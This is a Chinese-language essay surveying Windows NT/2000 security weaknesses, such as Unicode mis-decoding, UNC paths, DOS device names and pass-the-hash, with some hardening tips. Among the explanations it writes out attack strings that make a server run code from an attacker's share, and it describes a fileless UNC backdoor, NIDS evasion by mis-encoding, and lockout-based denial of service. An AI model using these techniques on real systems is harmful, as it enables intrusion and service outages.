這篇文章早就想寫了,只是題目太大了,所以一直不敢寫,高手可以厚積薄發,我只能積多少發多少了。 關於Windows 和*nix 誰更安全的討論很多。*nix 大家知道存在著suid之類的死穴,那麼Windows的哪些特點始終與安全問題糾結在一起呢? 一:代碼龐大,代碼重用 有一個“小程序定理”:程序中的bug 和程序大小成正比。還有一句諺語:凡可能出錯的地方就一定會出錯。微軟的程序員不是神,那麼多行代碼,還要求軟件工程學上的完美, 代碼重用……昨天ilsy跟我提到那個ldap溢出,其實就是一個根本不該犯的錯誤,但是仍然犯了。要求代碼重用就意味著在某個版本上出現的問題,就可能會在後續版本中都有問題,其他重用此代碼的程序中也可能會有問題。 曾經有人說Windows .net出來,搞Windows 安全的就沒飯吃了,我看一定不會,蓋茲不會那麼殘忍。 二:盲目追求易用性和兼容性 畢竟是開公司,,當然是怎麼賺錢最多就怎麼搞,聽casper說微軟花上百萬去研究按鈕的 光源從哪個角度照下來好看。好用的東西,傻瓜的東西,大家當然願意買。所以默認就什麼都支持,什麼都包含,什麼都關聯什麼都兼容。 三:廢話不說了,說點實在的。 1、unicode的支持 IIS的unicode漏洞我就不多說了,其實除了IIS,其他還有不少Windows上的web 服務器存在類似問題。因為對unicode 的解碼是系統內核完成的,真要想把錯誤解碼問題解決,估計花錢不會少。我發現微軟其實並沒有在unicode 漏洞的補丁中真正把錯誤解碼糾正,而只是簡單過濾了一些危險的字符編碼。主要是不允許“.”和“/”或者“”在一起出現,否則就報錯。所以我們仍然能用錯誤解碼來做一些事情,譬如說對付NIDS。把我們要掃描或者利用的http請求轉換成錯誤編碼格式,大多數的NIDS都是不能識別的。大家可以試驗一下,看看是不是有哪家的NIDS 可以檢測到這個。附錄1是我自己搞的一個Windows 2000 中文版unicode錯誤解碼表,不一定很全,大家可以參考。有興趣的可以用這張表搞一個掃描器,對每一個字符隨機使用正常unicode編碼、utf8 編碼和錯誤解碼,看看是否還有什麼NIDS可以識別。 我甚至相信在XP中,這個問題也未必會得到根本的解決。 2、擴展名欺騙 我們都認為Windows下文件性質由擴展名決定,也很容易相信一個doc(關掉宏的話)或者gif文件是無害的。但事實上,Windows不完全是按照擴展名來處理文件的,它會根據文件頭部的信息對文件性質作初步的判斷。NT 4就曾經出現過這樣的問題:對於一個EXE 文件,當命名為.DOC時,雙擊運行,系統仍然按照EXE文件來加載執行!即使Windows 2000下,我們把一個EXE 文件擴展名改成任意的,在命令提示符下仍然會當作EXE文件運行: C:>test.exe only test ! C:>ren test.exe test.txt C:>test.txt only test ! C:>ren test.txt test.any C:>test.any only test ! 幸好在資源管理器裡雙擊運行時不存在這樣的問題。但是EXE文件擴展名改為.com .cmd .bat .pif .scr仍然能正常雙擊運行,還有一定欺騙性。不少郵件病毒就是用了類似的手段。 3、8.3文件名,16位子系統,POSIX子系統,OS2子系統 能運行16位程序、OS2、POSIX 程序也是Windows NT/2000的一個賣點。但是由於對這些的支持需要使用一些系統級的 Privilege,也可以認為是某種意義上的suid,所以造成了安全隱患。歷史上NT 4就曾經由於POSIX 子系統的問題出現過提升權限的漏洞。一般的系統加固手冊中都會要求關掉這些支持。 Dos對長文件名會作截短處理,Windows NT/2000雖然支持長文件名,但默認也支持截短後的8.3 格式。當我們對某個文件進行基於文件名的訪問控制的時候,就有可能通過使用截短的8.3 文件名來繞過控制。對於某些設計未考慮此問題的WEB服務器來說,就可能導致CGI源碼洩漏。 4、“/”“”不分 Windows 下一般使用“”表示目錄,但是對“/”也可以接受,這和*nix僅僅支持“/”是不同的。在編寫asp、php等的時候,以及在寫WEB 服務器之類程序的時候,如果沒有把這兩種都考慮到,往往會導致對WEB上級目錄的越權訪問。以前Win32 Apache就有這個問題。 5、UNC路徑支持 對UNC 路徑的支持可以使我們很簡單的訪問遠程文件,但它所帶來的安全問題也的確是太多了。首先,UNC 幾乎在任何地方都可以被使用,可以有無數種方法欺騙用戶訪問入侵者的機器,而Windows NT/2000 的認證機制為了易用性,默認會在你訪問的時候主動把當前用戶密碼散列值發送過去,對於沒有加固的系統來說,散列值和密碼本身幾乎是沒有什麼區別的。 Windows NT/2000上安裝Apache php後,默認存在一個“/cgi-bin/php.exe?”的漏洞,漏洞發現者告訴我們這個問題可以被用來察看系統的任意文本,但事實上這個漏洞完全可以獲得遠程shell。因為我們可以這樣: ?\myipshareevil.php。 如果*nix上存在這個問題,就僅僅只能用來看文件——除非你能傳文件上去。 類似的,在一些漏洞的利用中,即使用戶對所有目錄都不可寫,我們仍然可以運行指定的程序:?/c \myhostshareevil.exe 同樣還可以用UNC 路徑來安裝真正無文件的後門,只要在注冊表某個可以自啟動的項上或者計劃任務列表中添加一個指向UNC路徑的程序即可。這個文件是不存在於本地硬盤上的,甚至也不會在臨時文件夾裡,可以躲過很多審核工具。 要去除對UNC路徑的支持,可以禁用DeviceMup設備。 6、設備文件名問題 *nix 的一個特色是“一切皆文件”,大概是受其影響,Windows NT/2000的很多設備也可以通過字符鏈接作為文件訪問。有些程序在編寫的時候,為防止對任意驅動器的訪問的控制手段設計考慮不足,如果我們通過“\.D:”這樣的方式來試圖訪問D:盤,就可能繞過一些編寫不當的程序。
為了向上兼容,DOS設備文件名,如“PRN”、“CON”等在Windows NT/2000下仍然被支持。9X 下可以通過簡單的直接對DOS 設備文件名的訪問導致藍屏,Windows NT/2000下做了一些處理,但是很多程序還是存在類似的問題,譬如Lotus Domino Server、OE等,甚至IIS在某些特殊情況下也會受影響導致拒絕服務。 又因為這些設備文件名是“無處不在”的,當我們需要某種類型文件來做點事情的時候就用得上了。先假設存在一個.plx的溢出,但是WEB目錄下根本沒有.plx 文件,這時候我們就可以用con.plx這樣的文件來傳遞溢出代碼了。 7、注冊表龐大而復雜 注冊表對於Windows 來說太重要了,也有太多的東西了,其中還有那麼多是未公開的。如果在注冊表裡留個後門,弄得好的話,幾乎是不可能被審核出來的。所以定期備份注冊表文件對一個Windows系統管理員來說是很重要的。 8、WSH,script WSH對象實在太強大了,再加上系統腳本引擎是默認安裝的,又在包括IE、Office等的MS軟件中被廣泛支持,所以難免出問題。縱觀IE,outlook的漏洞,很多都和這個有關。 9、系統權限分配繁冗 Windows NT/2000中幾乎每個東西都可以設置權限,每一個對象,注冊表項,設備……這麼龐大的訪問控制列表,實在難以一一審核,而其中很多都可以被用來作為後門。 10、默認兼容lanman驗證 早在Windows NT 4.0的時代,就有人提出了傳遞散列值的進攻方法。因為在lanman驗證方法中只是簡單的比對MD 4散列值。那麼理論上只要我們有了帳號和口令的散列值就可以通過lanman 驗證,而不需要用l0pht Crack之類的工具去解出口令。由於這種攻擊方式需要從根本上改動驗證過程,而修改Windows內核過於困難,當時的發現者是使用修改Samba的方法來實現的,而且代碼並未公開。最近有人對此提出可一個新思路,並公開了代碼,可以在各種平台上實現,使得這個問題的風險大大增加了。所以在作系統加固的時候一定要把驗證方式改掉。 11、設計失誤 Windows上有很多設計失誤,譬如帳號鎖定和IIS的安全設計之間就有沖突(coolweis最早提出),一旦啟用帳號鎖定策略,我們可以對IUSER_和 IWAM_進行窮舉,這兩個帳號鎖定後,任何人都無法訪問IIS,這樣很小的代價就實現了DoS。類似的問題還有不少。